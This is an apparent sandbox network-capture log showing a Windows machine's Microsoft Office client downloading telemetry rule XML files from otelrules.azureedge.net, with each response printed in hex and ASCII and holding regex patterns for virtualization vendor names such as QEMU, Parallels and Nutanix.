2024-11-24 09:23:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092351Z-178bfbc474brk967hC1NYCfu6000000005h0000000008hsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:50 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092351Z-174c587ffdf6b487hC1TEBydsn000000047g000000003tet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:50 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092351Z-174c587ffdf9xbcchC1TEBxkz4000000045g000000002zaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:52 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: a08fb692-e01e-0071-755c-3d08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092353Z-15b8b599d8885prmhC1TEBsnkw00000004ag000000009nep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:53 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 41485cca-c01e-0034-71f5-3c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092353Z-178bfbc474bmqmgjhC1NYCy16c00000005yg000000000egk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:53 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:53 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092353Z-174c587ffdfks6tlhC1TEBeza4000000049g00000000agr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:53 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:53 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:53 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092353Z-15b8b599d886w4hzhC1TEBb4ug00000004ag000000005ek8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:53 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:53 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:53 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092353Z-178bfbc474bwh9gmhC1NYCy3rs00000005rg00000000cxg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:53 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:55 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:55 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092355Z-174c587ffdfb5q56hC1TEB04kg000000047g00000000341c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:55 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:55 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:55 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 390d82dd-f01e-0071-4371-3c431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092355Z-174c587ffdf9xbcchC1TEBxkz4000000046g000000000a2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:55 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:55 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092355Z-178bfbc474bwh9gmhC1NYCy3rs00000005xg000000001tc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:55 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:55 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6e54758c-301e-0020-321b-3d6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092355Z-178bfbc474brk967hC1NYCfu6000000005e000000000dr0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:55 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
